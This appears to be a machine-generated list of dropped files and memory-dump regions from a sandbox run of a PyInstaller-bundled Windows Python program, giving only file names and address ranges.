mask.cp311-win_amd64.pyd
reader_c.cp311-win_amd64.pyd
base_library.zip
_rust.pyd
_frozenlist.cp311-win_amd64.pyd
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
_multidict.cp311-win_amd64.pyd
_helpers_c.cp311-win_amd64.pyd
pyexpat.pyd
python3.DLL
python311.dll
select.pyd
sqlite3.dll
unicodedata.pyd
_quoting_c.cp311-win_amd64.pyd
__PSScriptPolicyTest_vccs5ikk.vhc.psm1
memory/576-224-0x00000259C26D0000-0x00000259C26D8000-memory.dmp
memory/1772-104-0x00007FFF58A90000-0x00007FFF58AA5000-memory.dmp
memory/1772-101-0x000002615B280000-0x000002615B5F5000-memory.dmp
memory/1772-148-0x00007FFF53AA0000-0x00007FFF53AC2000-memory.dmp
memory/1772-154-0x00007FFF523A0000-0x00007FFF523BB000-memory.dmp
memory/1772-147-0x00007FFF45500000-0x00007FFF45CFB000-memory.dmp
memory/1772-180-0x00007FFF58E30000-0x00007FFF58E3D000-memory.dmp
memory/1772-145-0x00007FFF4F730000-0x00007FFF4F74E000-memory.dmp
memory/1772-138-0x00007FFF58A90000-0x00007FFF58AA5000-memory.dmp
memory/1772-141-0x00007FFF5B1D0000-0x00007FFF5B1DA000-memory.dmp
memory/1772-439-0x00007FFF58B60000-0x00007FFF58B79000-memory.dmp
memory/1772-185-0x00007FFF52330000-0x00007FFF5237D000-memory.dmp
memory/1772-198-0x00007FFF58A90000-0x00007FFF58AA5000-memory.dmp
memory/1772-206-0x00007FFF52330000-0x00007FFF5237D000-memory.dmp
memory/1772-197-0x00007FFF491C0000-0x00007FFF49535000-memory.dmp
memory/1772-211-0x00007FFF45500000-0x00007FFF45CFB000-memory.dmp
memory/1772-194-0x00007FFF4E900000-0x00007FFF4EA73000-memory.dmp
memory/1772-214-0x00007FFF4F3B0000-0x00007FFF4F3E2000-memory.dmp
memory/1772-186-0x00007FFF46AE0000-0x00007FFF470C8000-memory.dmp
memory/1772-213-0x00007FFF58E30000-0x00007FFF58E3D000-memory.dmp
memory/1772-205-0x00007FFF52380000-0x00007FFF52399000-memory.dmp
memory/1772-199-0x00007FFF58A70000-0x00007FFF58A82000-memory.dmp
memory/1772-196-0x00007FFF4F1A0000-0x00007FFF4F258000-memory.dmp
memory/1772-189-0x00007FFF58B60000-0x00007FFF58B79000-memory.dmp
memory/1772-187-0x00007FFF58FB0000-0x00007FFF58FD4000-memory.dmp
memory/1772-212-0x00007FFF4F370000-0x00007FFF4F3A7000-memory.dmp
memory/1772-195-0x00007FFF58AB0000-0x00007FFF58ADE000-memory.dmp
memory/1772-139-0x00007FFF4F3B0000-0x00007FFF4F3E2000-memory.dmp
memory/1772-136-0x00007FFF52310000-0x00007FFF52321000-memory.dmp
memory/1772-133-0x00007FFF52330000-0x00007FFF5237D000-memory.dmp
memory/1772-132-0x000002615B280000-0x000002615B5F5000-memory.dmp
memory/1772-131-0x00007FFF491C0000-0x00007FFF49535000-memory.dmp
memory/1772-127-0x00007FFF4F1A0000-0x00007FFF4F258000-memory.dmp
memory/1772-128-0x00007FFF52380000-0x00007FFF52399000-memory.dmp
memory/1772-115-0x00007FFF58AE0000-0x00007FFF58B03000-memory.dmp
memory/1772-119-0x00007FFF4E900000-0x00007FFF4EA73000-memory.dmp
memory/1772-122-0x00007FFF58AB0000-0x00007FFF58ADE000-memory.dmp
memory/1772-123-0x00007FFF523A0000-0x00007FFF523BB000-memory.dmp
memory/1772-120-0x00007FFF4E7E0000-0x00007FFF4E8FC000-memory.dmp
memory/1772-116-0x00007FFF53AA0000-0x00007FFF53AC2000-memory.dmp
memory/1772-113-0x00007FFF55270000-0x00007FFF55284000-memory.dmp
memory/1772-109-0x00007FFF58B40000-0x00007FFF58B59000-memory.dmp
memory/1772-110-0x00007FFF55290000-0x00007FFF552A4000-memory.dmp
memory/1772-103-0x00007FFF58B60000-0x00007FFF58B79000-memory.dmp
memory/1772-107-0x00007FFF58A70000-0x00007FFF58A82000-memory.dmp
memory/1772-100-0x00007FFF491C0000-0x00007FFF49535000-memory.dmp
memory/1772-149-0x00007FFF4F370000-0x00007FFF4F3A7000-memory.dmp
memory/1772-99-0x00007FFF58FB0000-0x00007FFF58FD4000-memory.dmp
memory/1772-95-0x00007FFF46AE0000-0x00007FFF470C8000-memory.dmp
memory/1772-96-0x00007FFF4F1A0000-0x00007FFF4F258000-memory.dmp
memory/1772-93-0x00007FFF58AB0000-0x00007FFF58ADE000-memory.dmp
memory/1772-91-0x00007FFF4E900000-0x00007FFF4EA73000-memory.dmp
memory/1772-89-0x00007FFF58AE0000-0x00007FFF58B03000-memory.dmp
memory/1772-87-0x00007FFF58B10000-0x00007FFF58B3D000-memory.dmp
memory/1772-85-0x00007FFF58B40000-0x00007FFF58B59000-memory.dmp
memory/1772-83-0x00007FFF5D2C0000-0x00007FFF5D2CD000-memory.dmp
memory/1772-81-0x00007FFF58B60000-0x00007FFF58B79000-memory.dmp
memory/1772-58-0x00007FFF58FB0000-0x00007FFF58FD4000-memory.dmp
memory/1772-79-0x00007FFF5ECF0000-0x00007FFF5ECFF000-memory.dmp
memory/1772-49-0x00007FFF46AE0000-0x00007FFF470C8000-memory.dmp
memory/1772-427-0x00007FFF52380000-0x00007FFF52399000-memory.dmp
memory/1772-408-0x00007FFF46AE0000-0x00007FFF470C8000-memory.dmp
memory/1772-420-0x00007FFF58A90000-0x00007FFF58AA5000-memory.dmp
memory/1772-417-0x00007FFF58AB0000-0x00007FFF58ADE000-memory.dmp
memory/1772-438-0x00007FFF5ECF0000-0x00007FFF5ECFF000-memory.dmp
memory/1772-445-0x00007FFF58AB0000-0x00007FFF58ADE000-memory.dmp
memory/1772-452-0x00007FFF53AA0000-0x00007FFF53AC2000-memory.dmp
memory/1772-460-0x00007FFF4F730000-0x00007FFF4F74E000-memory.dmp
memory/1772-461-0x00007FFF45500000-0x00007FFF45CFB000-memory.dmp
memory/1772-464-0x00007FFF46AE0000-0x00007FFF470C8000-memory.dmp
memory/1772-463-0x00007FFF58E30000-0x00007FFF58E3D000-memory.dmp
memory/1772-462-0x00007FFF4F370000-0x00007FFF4F3A7000-memory.dmp
memory/1772-453-0x00007FFF4E7E0000-0x00007FFF4E8FC000-memory.dmp
memory/1772-459-0x00007FFF5B1D0000-0x00007FFF5B1DA000-memory.dmp
memory/1772-458-0x00007FFF4F3B0000-0x00007FFF4F3E2000-memory.dmp
memory/1772-457-0x00007FFF52310000-0x00007FFF52321000-memory.dmp
memory/1772-456-0x00007FFF52330000-0x00007FFF5237D000-memory.dmp
memory/1772-455-0x00007FFF52380000-0x00007FFF52399000-memory.dmp
memory/1772-454-0x00007FFF523A0000-0x00007FFF523BB000-memory.dmp
memory/1772-447-0x00007FFF491C0000-0x00007FFF49535000-memory.dmp
memory/1772-451-0x00007FFF55270000-0x00007FFF55284000-memory.dmp
memory/1772-450-0x00007FFF55290000-0x00007FFF552A4000-memory.dmp
memory/1772-449-0x00007FFF58A70000-0x00007FFF58A82000-memory.dmp
memory/1772-448-0x00007FFF58A90000-0x00007FFF58AA5000-memory.dmp
memory/1772-446-0x00007FFF4F1A0000-0x00007FFF4F258000-memory.dmp
memory/1772-444-0x00007FFF4E900000-0x00007FFF4EA73000-memory.dmp
memory/1772-443-0x00007FFF58AE0000-0x00007FFF58B03000-memory.dmp
memory/1772-442-0x00007FFF58B10000-0x00007FFF58B3D000-memory.dmp
memory/1772-441-0x00007FFF58B40000-0x00007FFF58B59000-memory.dmp
memory/1772-440-0x00007FFF5D2C0000-0x00007FFF5D2CD000-memory.dmp
memory/1772-437-0x00007FFF58FB0000-0x00007FFF58FD4000-memory.dmp
memory/5892-183-0x000001CCDC470000-0x000001CCDC492000-memory.dmp